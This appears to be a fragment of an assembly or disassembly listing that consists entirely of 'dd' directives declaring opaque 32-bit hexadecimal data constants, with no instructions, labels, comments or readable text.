		dd 122F4BEDh, 0F1D0F831h, 0BA73FE9h, 7B8098DCh,	29C68E99h
		dd 92989DD6h, 5E73F031h, 0A1BCC34Eh, 0E93E85DEh, 0BB9240CDh
		dd 7B5F08F9h, 0C84B75F4h, 41D261E3h, 9E9535Eh, 83346EB4h
		dd 0A43008E4h, 3ADE20ABh, 2DEC0497h, 0C23A95BAh, 0C0EABABAh
		dd 5A467FFh, 0F14836E9h, 0D21A32E6h, 32E366BFh,	70AA0997h
		dd 5A479C7Eh, 0B907007Ch, 6D45268Bh, 0C06E601h,	32006047h
		dd 68097576h, 0FA028DE9h, 5F7F40BFh, 5AD52904h,	5FC8EB89h
		dd 104E371h, 3B2318FCh,	0D5CFD835h, 758F7002h, 0FA657DE9h
		dd 1D4F968Dh, 0ECCE1259h, 36AD04FCh, 20F8319Fh,	8B2BC602h
		dd 8161B075h, 0F29A0h, 58E43E5Bh, 927B50Dh, 81E9187Eh
		dd 2A312C61h, 979EF1C8h, 4254E519h, 5F5496E2h, 233A1862h
		dd 5C075AD6h, 4C262FBCh, 4E62709Bh, 5CE0E06Dh, 8EC26794h
		dd 0F688A308h, 999A4F39h, 0E26B2070h, 0C4F09041h, 38DD020Eh
		dd 468D6853h, 215BB281h, 0E8C1CCD8h, 0A5350212h, 0C732A0BAh
		dd 0F4048B27h, 0EFD4732Dh, 19959267h, 78789FB8h, 0A699047h
		dd 576368D2h, 0E9516CF4h, 53ADBF60h, 9860DBBh, 0DE01F944h
		dd 592F497Dh, 420B3D2Fh, 0A50E3EC9h, 42FBA1C0h,	519D6865h
		dd 0C79C9051h, 53C1CCFh, 8C0C58C6h, 802913C5h, 0AC9C07E9h
		dd 0FE38D825h, 724B1389h, 32A8F668h, 425F2754h,	91980A64h
		dd 1E7D9C0Bh, 426394CEh, 6A72C75Ch, 0A55E820Bh,	0E53B2044h
		dd 0D93628Dh, 0FCB8E94Dh, 0A86D8C7h, 1B0079B1h,	11D9340h
		dd 32577ED6h, 0EE73A539h, 0D9FAEBDDh, 0C86E8F64h, 55025773h
		dd 0E1189268h, 0CD5F407Ch, 2D763B3Dh, 0CFD10F3Bh, 37F54587h
		dd 0C635E755h, 0BC8A868Ch, 0DE69AF7Eh, 2EBAEBD9h, 0A8BEEA41h
		dd 20176351h, 2D01293Bh, 0E196016Dh, 809C59ECh,	0E569468h
		dd 544025D0h, 0C2CC882Ah, 53215C0Bh, 0DB0B00F0h, 0B1EE850Fh
		dd 2683C79Fh, 85791810h, 0E11EDEC7h, 17D5DC1Eh,	355A018Ch
		dd 51453E01h, 5C3FC4D4h, 0D417791Ah, 49835BDh, 8C70FD89h
		dd 9300BED4h, 0BB2E0847h, 48565CABh, 6B2FB820h,	2FD7392h
		dd 0D4383973h, 701669EAh, 2E67BB1Dh, 42C03097h,	41E3EF3h
		dd 31E93F90h, 5FC8B7AFh, 4F51B7B4h, 0E199C9D0h,	0C03F357Ch
		dd 0C50380F5h, 0E5C05A81h, 5056F203h, 0AD095E00h, 810700B0h
		dd 0FB316BF1h, 920CC31Ah, 0BAB421D7h, 97DBBB81h, 4FEFBF00h
		dd 51137A0Ch, 80C76652h, 860FF780h, 2EFEDFF6h, 244C6253h
		dd 0B329F901h, 8709924h, 92CF83Ch, 0F44244E9h, 1346A699h
		dd 59B98258h, 6859987Fh, 0B8755315h, 0D72DB35Bh, 0B213098h
		dd 0ACF0E9D1h, 64F0E5Eh, 4A108BF2h, 0B23AFC5Bh,	0B19614C3h
		dd 1CE023C4h, 0BC7C975Fh, 542FBA68h, 6268F88Ah,	8786316h
		dd 0E5C4D712h, 0B76A54F1h, 0C161C91Eh, 5ED95D9Dh, 0F6EA0D2Ah
		dd 0F2A41A0h, 16010537h, 233F4F05h, 0F06B63Ah, 0EB5AB6ABh
		dd 0E0937C29h, 43AEE956h, 0DBF541C1h, 16309815h, 5F3E5A4Bh
		dd 1028447Bh, 0A004BA02h, 69036D7h, 72C1746Fh, 8EF0A42h
		dd 1BE1DFF7h, 0B1D04FFCh, 724F147Dh, 802C1A5h, 252A5C5Eh
		dd 0D4A75AF1h, 59A2C96Ah, 94576896h, 0C7E520E4h, 7B14F725h
		dd 29E2C82h, 4F7AD91Eh,	1C43C3F7h, 44032A86h, 10DF293Fh
		dd 0FC5B2F08h, 5693C272h, 1F24AF45h, 0A8CC2902h, 20EF58E4h
		dd 0D295BC66h, 4FB790CAh, 6E76B136h, 0AED239F3h, 0DE9A1F98h
		dd 31AAFA7Ah, 5CB8BDA6h, 0A48DFE2Fh, 0D7A1122Eh, 5F3E7483h
		dd 9AB6340Bh, 0A0D15FF9h, 0D7640B8Bh, 62CAA318h, 0F2F65F50h
		dd 90FB04F5h, 0B077FDFFh, 0C2115660h, 0B5206222h, 5558FC52h
		dd 0B7CBC65Bh, 1ABF077Dh, 0B33C1D2Eh, 0E174C167h, 8BCD355Fh
		dd 0A6F9B90Dh, 0F8D8172Fh, 0BE2FD800h, 32131EBDh, 2F3BA415h
		dd 21422846h, 0EA2F9334h, 0EC27C981h, 85D7A82Ah, 42AAF9F6h
		dd 3DA26846h, 57C484FCh, 82F138C1h, 0F6056169h,	80448A48h
		dd 9E2147C1h, 0E563B58h, 544374CDh, 441A48BCh, 5B95F108h
		dd 0FF5D130Eh, 0E9509901h, 0CD6E6970h, 0FF96A5AAh, 5C09E836h
		dd 0CC181768h, 354CC5DDh, 7C0EC8FBh, 65D20612h,	52F9D700h
		dd 0C24D4909h, 0B03A6A0Eh, 0C973F582h, 0FC1BDF0Bh, 2682CA05h
		dd 0BB806779h, 7BC9277Ah, 0A6FA2546h, 87D9905Fh, 50FDA3D7h
		dd 3A77A008h, 0B8CB2F54h, 79B80210h, 5FBFC690h,	75E96201h
		dd 0CAF7519Bh, 0EA798134h, 3B900F27h, 62136720h, 0F4972367h
		dd 8528E7Ah, 47277E35h,	1C384490h, 25101B68h, 8BD59DD7h
		dd 2F8BC209h, 5E4B1D50h, 7FF76A4Fh, 57C1BF0Bh, 70B57731h
		dd 0A490136Dh, 0FBCB882Fh, 0A0CAA608h, 0B07E97BCh, 8C66D2A5h
		dd 0D6DE95EDh, 5C41E9E1h, 0EBD5977Fh, 0B3E94D8Eh, 7F019C7Fh
		dd 462199C8h, 1FFCD2D3h, 0E831ABA8h, 71A85D4Ah,	0DE4881A5h
		dd 0FAE66B71h, 0ABED8385h, 0AE454321h, 0E0561E05h, 7DA0882Ah
		dd 892A5B5Ch, 7BF72AFh,	8B6491E7h, 921EB459h, 0CA75686Ch
		dd 0BD8F5AABh, 0E917159Ch, 73AD6E99h, 2C27F307h, 663B20ABh
		dd 0A670B652h, 0C0FFF076h, 514853D8h, 3F9E4506h, 5E94E7B2h
		dd 7BA6B65Bh, 0D363BE30h, 120F03EDh, 0FEB48D89h, 5A7368h
		dd 966BA1BDh, 0EEE58127h, 70CE081Ah, 0C585C040h, 0E124E83Fh
		dd 4263183Fh, 0AD3F6FA7h, 0D8CB8274h, 0C04CEC1Dh, 2793AAAEh
		dd 0EB72C603h, 0A9EDECE7h, 42F11305h, 0CCD565E9h, 0EE734687h
		dd 3997D48h, 8F0AA822h
		dd 1C2DCE89h, 7EAB184Bh, 43209963h, 9FE95453h, 0F44A3CFBh
		dd 0E91D70BBh, 0D7A8961Bh, 34944E51h, 95000667h, 953FE978h
		dd 0EF5A8184h, 0F60069CBh, 40571346h, 0ADE64D05h, 700D0300h
		dd 352FD50Eh, 0B55D255Ch, 9A168B54h, 45CFA8Eh, 3CFD5ECBh
		dd 9B469FE3h, 0E409C4BFh, 42578232h, 819CF5B0h,	9C9FC2ECh
		dd 0FDD22034h, 7168660Ch, 5B37087Dh, 0A7039962h, 0B3742D20h
		dd 0B63BC0E9h, 4A014C5Eh, 0B9F2DA97h, 55544AF5h, 0F608B4E5h
		dd 3752588h, 10B407B7h,	50388BC3h, 7A4032A7h, 0EDEA05Ah
		dd 60621564h, 39324131h, 3E405BA3h, 0A8245FE7h,	67008D46h
		dd 0E9387157h, 0A4C29789h, 0FE9AB175h, 40679F48h, 0F20E81E7h
		dd 456132AEh, 0F900D189h, 2B83F7C1h, 0CA012F97h, 0C6E92548h
		dd 0F335AC61h, 813E109Eh, 621718h, 0A05AD629h, 0FC4974B3h
		dd 3887484Dh, 17A54511h, 4BCC1386h, 970370FCh, 5583156h
		dd 0F0EAA694h, 2CC65C38h, 2C10FA80h, 0EB05814Fh, 42A048F5h
		dd 0A0C3C8E0h, 4E33E908h, 498D45ECh, 468BBEE1h,	3E33921Fh
		dd 0D68912C6h, 3BA02A1Fh, 29922BB1h, 417FB5C1h,	0D46990h
		dd 94CB0166h, 32484350h, 47591924h, 5B076C72h, 0A1031629h
		dd 2AA26F30h, 597608D6h, 8C2FC25h, 2053334Ch, 0B90F5CDCh
		dd 744A77DEh, 6ED605E1h, 648172D1h, 99735BB8h, 0CEBB134Eh
		dd 55F35FFFh, 0A60194D6h, 4DA51043h, 403C2913h,	0C2FDF73Ch
		dd 126F22Eh, 554448F9h,	657E82h, 5602E5C1h, 1E2FE49Fh
		dd 0A03E2C0h, 0A3F1D731h, 86148894h, 54C1F02Fh,	975FCCA1h
		dd 899A6945h, 1A75EEBh,	0D25A6BC1h, 56D6055h, 4D13C9F2h
		dd 9FE04B11h, 46FA083Bh, 4225296Ah, 4F337A21h, 0B70C12BCh
		dd 0D7D569E2h, 732F3E65h, 5295E0A7h, 4E48D268h,	0ABBDC182h
		dd 0A7317F11h, 341FD4F8h, 0FDDB2F58h, 7CCE12E9h, 7E85CBBEh
		dd 7AAD2027h, 5461EE75h, 12558ECEh, 0F302E868h,	0A3981034h
		dd 0BB0C3850h, 0E2D10590h, 0E9FE0250h, 0B44473BDh, 0B669AA0Fh
		dd 4B87654Fh, 0F25208CCh, 97D565C5h, 7D95EAEBh,	0BEE30106h
		dd 125A4EB0h, 49000939h, 0F3293F18h, 97AE94B7h,	0B241648Eh
		dd 7E20A864h, 548F562Ch, 40A3F355h, 7AB72996h, 1ECE1802h
		dd 8023980Dh, 0B1E6D782h, 3FB4DE20h, 6380B850h,	2D482715h
		dd 0D9005745h, 6E0C165h, 250E8435h, 22774F03h, 796444A8h
		dd 0A5B480D9h, 0FF5E480h, 0BBDF8B13h, 44BE0B52h, 44CAD621h
		dd 300095CDh, 4CF080C8h, 5805F09Dh, 9320FAE8h, 0AC988376h
		dd 37C84632h, 2F727CC1h, 0F25333DCh, 80CDA190h,	0EBCCADF1h
		dd 98CBE01Bh, 9759EA4Ah, 225DF38Bh, 7D2F0D89h, 0FB322EE6h
		dd 5FE0CBC7h, 4525CD65h, 4A1C2E3Dh, 7C0609D6h, 7E95474Eh
		dd 67E06976h, 0AD812ED2h, 0F8522C3Eh, 0F147A060h, 268F0FBCh
		dd 20F6C15Bh, 767977CDh, 525ABDB4h, 0B9FAB52Fh,	0C3F05393h
		dd 8679BF33h, 65ED082h,	0CB12C13Ah, 78388104h, 27FF0499h
		dd 0FCD3A5F4h, 715F2F9Bh, 0EDEC6598h, 54C2023Eh, 7F0F411Ch
		dd 4085A28h, 0E27728E9h, 4EED5A60h, 6F4FCB1Bh, 44F87C10h
		dd 0BF71C45Bh, 4B51A9A0h, 0B413FBB9h, 17CE3008h, 7BCAC5Dh
		dd 0F8C804F5h, 10231A4h, 5D824047h, 0EF5E2FA9h,	0B7521B51h
		dd 0BC2E7F21h, 96F203FBh, 88017C54h, 0C42C59CBh, 8BE13870h
		dd 185796AAh, 91CE3C06h, 69F9A0F0h, 55CE4F4Ch, 28E9820h
		dd 8892C180h, 0DB5059CFh, 0F7411070h, 99E3DBFBh, 0B2F4FAC7h
		dd 5963BFB1h, 0DD51F881h, 2E02FF5h, 20072834h, 84EC3F7h
		dd 0A38D9F6h, 42C94C3Eh, 60AFD3D3h, 3A5F6804h, 0C0FE6B7h
		dd 5AF188E4h, 80167690h, 0F40658CEh, 20FBF303h,	1FB08F6Eh
		dd 6094F704h, 73A26884h, 807D30C0h, 0C75F2126h,	5F0F0100h
		dd 50F7739Eh, 5E51F4D8h, 2938D864h, 0C687DA26h,	13BCCC08h
		dd 0DC15BB5Ch, 4F9A9763h, 0F73F0A12h, 7EC58A6h,	51223277h
		dd 3D6FCDC0h, 4D010F29h, 1552E5D1h, 0B85E5D3Fh,	12FBB51Bh
		dd 667BD28Dh, 0FDF5A75Fh, 20A92898h, 4CBD96BBh,	83952315h
		dd 8810B16Ah, 0CA101B4Ch, 0E84A9Bh, 4BE32D83h, 0F8014A0Ah
		dd 60250705h, 81632E69h, 7E37D9ACh, 10A5BB5h, 9C037BACh
		dd 8A970AE5h, 62A6A1E4h, 70D8088Ch, 73406418h, 0F49940BDh
		dd 0E908F362h, 19E206B6h, 317E3120h, 4638A035h,	0C5088CADh
		dd 636C18FCh, 0B44808F5h, 0AAA31810h, 1097C218h, 8C6206Ah
		dd 2018DDE3h, 0B03362A1h, 185F7167h, 87CBC10h, 2280A230h
		dd 0D020C65Ah, 742008A8h, 0C46031CEh, 8CC0F320h, 1871F708h
		dd 8BA6238h, 8E027DDAh,	958203B9h, 92982818h, 817F1C08h
		dd 51298D79h, 0EEDB1068h, 0A9292008h, 2092F531h, 888979Eh
		dd 0C7086899h, 0BF5F0CB7h, 2F6C4F28h, 400E09C1h, 0B9C6A225h
		dd 201005D0h, 3316B28h,	868008B3h, 88468C54h, 200829B5h
		dd 99209D2Ch, 78920AEh,	31024320h, 7040AB1Bh, 0F088C5Fh
		dd 62C31891h, 858F08BBh, 38CC702h, 2818CDD6h, 260886B0h
		dd 0DD18C60Ch, 0B2330832h, 102DA1C2h, 1044BB08h, 25188F40h
		dd 0DF463865h, 17480A9h, 899D51Bh, 513FE956h, 15078A0h
		dd 407E015h, 0E26A04C9h, 0F036D51Eh, 87249B20h,	0E2BC284Fh
		dd 4BB4C908h, 0C0E91958h, 519A1854h, 258737D8h,	90901158h
		dd 0A9109DA3h, 64D33120h, 12E7F08h, 4E01636Ah, 0B54F01BAh
		dd 46773092h, 18C58474h, 8A51833h, 82612AEAh, 888020FCh
		dd 42A48F54h, 0A91E7C40h, 0B851A2A0h, 9824F20Ch, 5410C671h
		dd 37200803h, 49972034h, 203CA720h, 0D6717A88h,	18B059C8h
		dd 15FB19E3h, 9FB808C6h, 81C52018h, 1EC8BA54h, 40E88540h
		dd 0C764DCF6h, 90971720h, 6222718Ch, 57CA20C3h,	48A2684Ah
		dd 21026F93h, 444C0582h, 49AD988h, 9B049F10h, 0BAEB0460h
		dd 48BD204h, 6406C872h,	3363996Ah, 10D0BE08h, 3C0E8C18h
		dd 6610E369h, 9C08156Dh, 4120801Eh, 8135937h, 4D209A36h
		dd 0F0102C86h, 34BC24C7h, 4B318098h, 7F19CCCCh,	6380B2F1h
		dd 997780A0h, 4F7E08C4h, 30E37406h, 2096BA20h, 0B9206821h
		dd 9DF22051h, 724AF49h,	0E8FC9C60h, 62AD90Bh, 1E562EEFh
		dd 0ECE08B5Ah, 10536046h, 752C473Bh, 13EB020Ch,	6FB90E89h
		dd 5403DA7h, 408F4401h,	0C90B4902h, 0E38BF775h,	0DE408F46h
		dd 0B7B9F003h, 0C0334323h, 4FB10FC0h, 0D52C3069h, 3BAA46A2h
		dd 0A5E1E919h, 5E65D02Bh, 1D1D9847h, 67C9A605h,	4E7A78E2h
		dd 6331FF7Dh, 0D397D558h, 2399215Dh, 0B4148154h, 66E22044h
		dd 4BF26370h, 6882E099h, 465E242Fh, 7D64349Ah, 3BF7B5ADh
		dd 621EF2C8h, 0CFFE1C16h, 0DA7EBEC0h, 2A1925BFh, 5201A5C0h
		dd 0E9FE0D88h, 601C43BEh, 7F122660h, 0D5EF721Bh, 0FE77AEF0h
		dd 83637FD2h, 0B9EED194h, 1E69A496h, 4453C325h,	0A3BA5CE4h
		dd 0EC1399Ah, 0C00A5A75h, 535087E9h, 0F1013414h, 1C081A1Ch
		dd 0B9A6140Eh, 88123E4Bh, 81FB58C2h, 2BE46EDFh,	0F7C029A9h
		dd 6CEE7A5Bh, 0B38D0F38h, 2947BA41h, 93CA9F46h,	4FE7B889h
		dd 0A6DD521h, 0A39A2CBAh, 23DF14F9h, 4E448199h,	0B049AC1Ah
		dd 38842EBh, 8B0F476Bh,	893D7B5Eh, 865C81EFh, 8949B338h
		dd 63EBE080h, 0E9218F53h, 2A5A1930h, 6383880Fh,	429A7B3Dh
		dd 6DEE6B03h, 76EE169h,	0A52040Ch, 0E5FEE773h, 0C081AC6h
		dd 0ACE91402h, 68047774h, 1D8D2A0Dh, 6B16F160h,	2BC512A3h
		dd 0FE194689h, 0CBDCA5EDh
		dd 31B06806h, 80C5781Fh, 4297CB28h, 0D7A129C4h,	52E9A560h
		dd 1CCC704Bh, 0A0CC5432h, 0D205C0DAh, 0B154F281h, 0DC82062Fh
		dd 0B3BA1557h, 36B95100h, 6823C51Bh, 6F9E0F72h,	0A6325B61h
		dd 0EC34B03Ah, 72846613h, 84074A9h, 0BE2424E9h,	8617BBB0h
		dd 0EF3CEh, 4FB35597h, 90DEA81h, 13B5368h, 0E519677h, 2BE9F831h
		dd 0E7374432h, 9443E258h, 12014AA2h, 4F68E95Bh,	20CAD951h
		dd 0A63FCFCh, 9B3C840Fh, 0B020BCA0h, 921C2C1h, 12F553Ah
		dd 0B5365F0Ch, 5506B1Fh, 3E0C6008h, 9A14D531h, 4EBA0B82h
		dd 0C0C02CEDh, 18B41CE5h, 0ADCF9C54h, 0F525DF79h, 5E76B629h
		dd 0E06C2EFh, 0CE93046h, 4E2E0F64h, 0ACE14287h,	90AF8E97h
		dd 2E5D57C1h, 0A08C350h, 0A62E42E9h, 68AB5BB7h,	0C7C185C0h
		dd 0E3FA2D1Ah, 76A80731h, 6E0ACD59h, 705C829h, 0E911D03Ah
		dd 0E6159825h, 0E055BEA7h, 54B5BF57h, 8027093Fh, 0B25B1AE7h
		dd 2A820F62h, 25C2EC6Fh, 0A1C71B85h, 2DFA5993h,	552280FFh
		dd 0E3216D68h, 3DDCC646h, 1FA77BF7h, 0E9FD2101h, 8201D8Fh
		dd 0E6C1ED57h, 913BE27Fh, 45C8B3Ch, 660BF318h, 0CC2104FDh
		dd 8C256D08h, 15F30C8Eh, 886C56E9h, 0E65DEF17h,	7AD6189Ch
		dd 0E27DC371h, 337F7BA7h, 68920249h, 0A32897E5h, 141D6C44h
		dd 0B8CCC1FEh, 4F821928h, 951371FCh, 622E3050h,	2CFB32D3h
		dd 0B99226FCh, 4F8E0F15h, 1A4D48F3h, 0D62A758Fh, 37E9067Eh
		dd 531E1CA8h, 7905AEB3h, 31BA0149h, 220CCBh, 0DF6CEFEh
		dd 47E680D6h, 53C6D40Eh, 0FEF53026h, 3D437808h,	0AFD5ED97h
		dd 0FDCCF91Eh, 0FF67DA6h, 0BDAFE0DBh, 48470165h, 3626835Dh
		dd 2A2D9602h, 3170C128h, 34F33981h, 0EDFB0333h,	0AF21140Bh
		dd 0AF0448E3h, 9764C118h, 4BEA480Ch, 18691F79h,	3092ACC8h
		dd 25106FCh, 2FA1D55Fh,	1376A62Bh, 0DEA85AD1h, 764BF7B2h
		dd 5481AFFCh, 99810ECDh, 0A75477C7h, 4F946B31h,	2C800813h
		dd 98D95CF3h, 13AF3085h, 5E69BBB6h, 0C11B0907h,	0C3D502E3h
		dd 380409D5h, 0FF022106h, 0FB725932h, 4B176810h, 6F1E90Ch
		dd 8FBD5E48h, 4EF6C4BFh, 3B2ACD8h, 0E974494Bh, 2C5107D2h
		dd 0CD2E424Ah, 26E06ED7h, 8193363Eh, 0BD7242E3h, 0CA733064h
		dd 5DC29303h, 0ACB5E955h, 0E14BCCBFh, 0C06A2945h, 60BFE900h
		dd 0C45646CEh, 39FBBD75h, 9692F853h, 0E8C11CC4h, 6119DEACh
		dd 0C6B6D911h, 0C18B63A3h, 0C1BDA09Bh, 80613A8Ch, 0ED814560h
		dd 508F4688h, 0E626DE6Ah, 84A75AA3h, 6CB0F1F6h,	0B11E601Eh
		dd 0AA6B852Ch, 6A2E80EDh, 0C151B509h, 0AF36500Ch, 1CE82F67h
		dd 0F7300841h, 21D8B2FDh, 0BB8F42D4h, 45864463h, 48A9BD82h
		dd 79CD80CFh, 2BB43B36h, 30AAEC06h, 0E91282E5h,	94FC074Ah
		dd 12789C2h, 50628EEEh,	9BC8B2Ah, 25D36755h, 958D947Fh
		dd 0E92D317Ah, 0F1A9A072h, 0BB34850h, 468A0F6Dh, 5A950EF0h
		dd 220590DCh, 76C268D2h, 0F46CE84Eh, 4A720C3Ch,	9075BA9Eh
		dd 0DB76392Ch, 680A9810h, 88D65C80h, 0DC254499h, 0D3F78FADh
		dd 0E308A227h, 1C003258h, 0E04951BFh, 5BF9313Bh, 585FB35Fh
		dd 4EE3207Bh, 0E4E9A958h, 0BE6FBC2h, 0B40FB950h, 89382A10h
		dd 80842114h, 1DE035F1h, 98FF9428h, 832D4524h, 7D214503h
		dd 248891E9h, 0C595914h, 0C673C779h, 0BF3BCA02h, 60F28928h
		dd 0D34CE487h, 82F11F5Ah, 21AA63BAh, 0D1B853E0h, 0F479252Dh
		dd 16781223h, 7C97C99Eh, 685EE0BFh, 24394B12h, 16EDAC55h
		dd 2D41748Ah, 512FD7BEh, 80A29430h, 0EA493058h,	0D58F49FFh
		dd 0ABE9831Bh, 0E6D54064h, 0A0EB6B7Eh, 0F6B98B57h, 14460D08h
		dd 0DEF53CA4h, 0C457ADCAh, 285EB88Bh, 0D2009C8Bh, 57B8835h
		dd 6F2F071Dh, 46860F73h, 0DBF62E94h, 2A42BA13h,	29F8C3BAh
		dd 545A3C2Fh, 6E73581Dh, 0C0581EC7h, 0F28002E0h, 60F5F83Bh
		dd 0F4A184Dh, 0C2BAAB8Dh, 0D4BE5601h, 9111968h,	0AEA6C457h
		dd 91A98EDFh, 0A1BA13CBh, 429F7B84h, 10B985Ah, 5F805069h
		dd 7497204Eh, 0F8CA42D3h, 59929908h, 0E9CCCCBBh, 4637DE30h
		dd 281F529h, 0FC101BC5h, 1DFC5E7Bh, 749C3407h, 0C3D4DFFEh
		dd 84F75808h, 31923BBEh, 0B494F629h, 7597C11Dh,	4EF0551h
		dd 4AD5FAAh, 0C782FA29h, 49AC5C18h, 1294A3F8h, 0C168E325h
		dd 23B2960Ah, 627D29D8h, 0E5BEDD02h, 0CA78DE95h, 3DA2A4D5h
		dd 0B0571716h, 226EC501h, 1CD1A41Ah, 0C3A76AF8h, 5D3B46BBh
		dd 33DB89EDh, 0A30B7723h, 0D009B7Eh, 58A7712Dh,	68500251h
		dd 19BC5652h, 79DE0357h, 8120A01Bh, 7FE60BE7h, 0AA005468h
		dd 111A3C64h, 0CF064F7Dh, 53902F86h, 0F97011Ah,	0F82963F4h
		dd 56F03F5Fh, 0D7D0FB41h, 1EAB3079h, 193F70Ch, 4B0BC5Fh
		dd 5C5649A0h, 12341750h, 32D5574h, 8C0F17F0h, 648031F7h
		dd 0C2D53408h, 8AB4DC09h, 8738F407h, 966259E9h,	0D10C5E16h
		dd 18659D33h, 0E4009E6h, 9CC22908h, 1C080Dh, 5CBB5314h
		dd 5344312h, 0C32512h, 0E457B240h, 0F9EF8078h, 1BC55853h
		dd 75158D10h, 0D78218F2h, 3B02FFC1h, 0C1368E9h,	30830845h
		dd 542DBD00h, 9FD113BEh, 0FDA1001h, 0EBD270ADh,	6B4E686Eh
		dd 931753Fh, 9D56062h, 0B026289Ah, 0D03FB3D7h, 645B1D9Bh
		dd 3E41EDCDh, 0D35C9E7h, 26708B6Ah, 44A6F2F9h, 0A51508h
		dd 24443052h, 9DE3201h,	0D0F61A22h, 0B3550D86h,	40D6EA72h
		dd 2C78B640h, 9D0835E9h, 8CBC95ACh, 0B065A84Fh,	0B3530D68h
		dd 41B702DEh, 0D140134Ch, 59261EE9h, 0C83E3337h, 205CC981h
		dd 0BD555194h, 0AC2000C3h, 0DF41B962h, 0E9F9D53h, 0D5CF694Ch
		dd 3CC0B739h, 69E84BF4h, 0C9BD270h, 51BED72h, 975CBD09h
		dd 0B7A08163h, 12A5936h, 28D8E98Ch, 0ADA9E3CBh,	5BE023F4h
		dd 0EB967CBCh, 0C0509E72h, 80C27323h, 592A685Ah, 0AFA07831h
		dd 0E21961A9h, 4096580Ch, 604C8E9Dh, 93CCE917h,	0CD5966BAh
		dd 0BDC6F8B5h, 0B34844F1h, 70177427h, 5E41F0E9h, 4F0C9B01h
		dd 0C03A6ADDh, 0A160711h, 7E816EF9h, 0F804B390h, 3066448h
		dd 0CA07C4AAh, 36097E75h, 1F130B4h, 11A4F35h, 2D46B63Bh
		dd 0B8E748F5h, 13D72575h, 41087BDCh, 6292473h, 62840248h
		dd 9D58049Dh, 826F5BD7h, 8466AD68h, 27AA3260h, 1553D208h
		dd 0F21518F5h, 0FFC20180h, 3E9CA86h, 948EB95Bh,	925CCE29h
		dd 409369A8h, 7F59A45Ah, 85972901h, 0A402C8Ch, 0C1E6D15Eh
		dd 9460B7EEh, 0C6020B4Dh, 4822DD3h, 0F0B660CCh,	7107A205h
		dd 0C3318102h, 514CC268h, 6830E953h, 875F1909h,	3564FB13h
		dd 13403868h, 1528AB4Eh, 49D1BDF0h, 0EE000469h,	9C002CB3h
		dd 0C12A6F13h, 0D09F06EAh, 27DD49D4h, 0ED40EA4Ah, 762D3D25h
		dd 4C9C0E0Dh, 0B9E72820h, 0E97EA07Dh, 2EB23452h, 0D7ECEF4Fh
		dd 7DD8A85Fh, 707C1638h, 0FFCF7194h, 0DE862B56h, 0BADE9762h
		dd 97637472h, 0D50F2166h, 7B292F20h, 509C0A40h,	0C4114C27h
		dd 490D0304h, 0FFA6BA76h, 0FFD74313h, 2008C475h, 8DBA01BFh
		dd 0E970E27Dh, 14126CEAh, 20B8EE29h, 0E0095A20h, 0BE09F38Dh
		dd 130076Ah, 0EA153F8Dh, 1FBB29CDh, 7F081C1Eh, 10DA0112h
		dd 0E90D08A9h, 0F84A19A1h, 901EA268h, 0A8D29591h, 585413C1h
		dd 2AF6292Fh, 0BA6EFD98h, 0BD582B5h, 0D00F02DAh, 76A69C14h
		dd 8F7BBF83h, 0D3CDE90Eh, 51E5BF90h, 4B3C18BCh,	385B1043h
		dd 7956E334h, 321821B9h, 58C38FC5h, 80803B5h, 0C71E95Bh
		dd 82271EEh
		dd 0E4BB2E83h, 0C92373Ah, 0B81DB51h, 0C3203093h, 6809EEEDh
		dd 5EF6704Dh, 0BD193BCBh, 0DB580A1Dh, 0BB7525E2h, 23F4D974h
		dd 0E2C1D581h, 3BFBE7FFh, 878B9485h, 0BD63F840h, 0A48CF151h
		dd 955C1089h, 6804B451h, 2FBC74A5h, 1BB8BD93h, 0B0BB5583h
		dd 0A23040FEh, 7F174A89h, 4A35911Ch, 0D4D15FF2h, 530220FCh
		dd 0FF20D6D2h, 830F0CE8h, 0C3CD35D1h, 1B3F4F03h, 4FDF89B9h
		dd 184F9BF2h, 0B60A7E69h, 0C6801EEFh, 9FE18AC2h, 4329408Ch
		dd 21201305h, 6CF507CDh, 0FC035C0Eh, 0D1301B12h, 1F79187Dh
		dd 0C16AEDDDh, 7E020502h, 0F684FDA6h, 0DF46F025h, 0C07B749Dh
		dd 35738CF7h, 0E421762Eh, 993F7427h, 2F5651DEh,	59A2BDA8h
		dd 69EDD95Fh, 68861D54h, 7CF547BBh, 9E599CD9h, 9BF20B06h
		dd 23461210h, 5BB7AB4Ch, 8D6A1B3h, 25011B3Bh, 2A0A1053h
		dd 4A65B5E8h, 0B0BD5801h, 4D81DBF6h, 0BEEE89DCh, 297E2525h
		dd 2F22790Ch, 50082DE5h, 5B130674h, 0B86F7CA2h,	1A865876h
		dd 63CEE8E9h, 7D0DC457h, 0D7F70F91h, 689EA06Bh,	723ACC2Eh
		dd 0C13492C0h, 0ACE93027h, 6F62BA71h, 2633453Dh, 5E92A5B2h
		dd 0F2684042h, 0F0919249h, 35F4DC9h, 0D52BA2C9h, 3E50365Ch
		dd 10B302h, 6E487435h, 1135E956h, 7BF84E2Ah, 2883A4B4h
		dd 2E801140h, 0A77377C3h, 0A2504FAh, 5834D2F2h,	0B94AEDB3h
		dd 7448C050h, 984702ACh, 6439007Bh, 52461F20h, 58164BBAh
		dd 5CB1217Eh, 5E67E9E8h, 0C27BC8F4h, 3DCC6E03h,	0F9D331F6h
		dd 1632D7A0h, 0B277308Bh, 9B60D586h, 0D92C88F5h, 0B0015C5Bh
		dd 2E8DE9F1h, 3AA19EA4h, 0FB635478h, 0B5C5F259h, 5E28636Dh
		dd 7B35B40Bh, 0AC30F916h, 4DC48512h, 5DDC26Ch, 18570689h
		dd 4025E90Ah, 817C0F5Bh, 0C0844360h, 7BF606E8h,	0B28F2DD8h
		dd 0FFEB630Fh, 5313FA76h, 3E5B648Ch, 1607EF81h,	69010363h
		dd 4088288h, 0BEFF04E9h, 4F4BCA98h, 9E37E906h, 927D988h
		dd 0C8582EE9h, 5933FF05h, 6C20575Bh, 3C39CCBEh,	0F7244C63h
		dd 1C8A82E7h, 40750886h, 69DCE9A7h, 3ADE60C3h, 0F28578E2h
		dd 5EADA03Fh, 0E6C080D3h, 10AF0348h, 1E623BC4h,	7E0B62C8h
		dd 0EACE6CD4h, 0B3624082h, 9416E477h, 3D40084Ah, 5010F27h
		dd 0A3D5E0F9h, 66343401h, 0BB212747h, 6D1D9010h, 91D0B594h
		dd 9520FB9Ah, 0AC682A05h, 7065BC87h, 7B54FE68h,	0EF35E910h
		dd 62013A51h, 65476AA4h, 5FD0D20h, 0C152B70Ch, 0B2DC81E6h
		dd 93060499h, 7CB214Ch,	761957C9h, 58C2B325h, 2CE78510h
		dd 0BD254E58h, 8918C56Eh, 1BCA5EF1h, 1CA32C7Bh,	82052880h
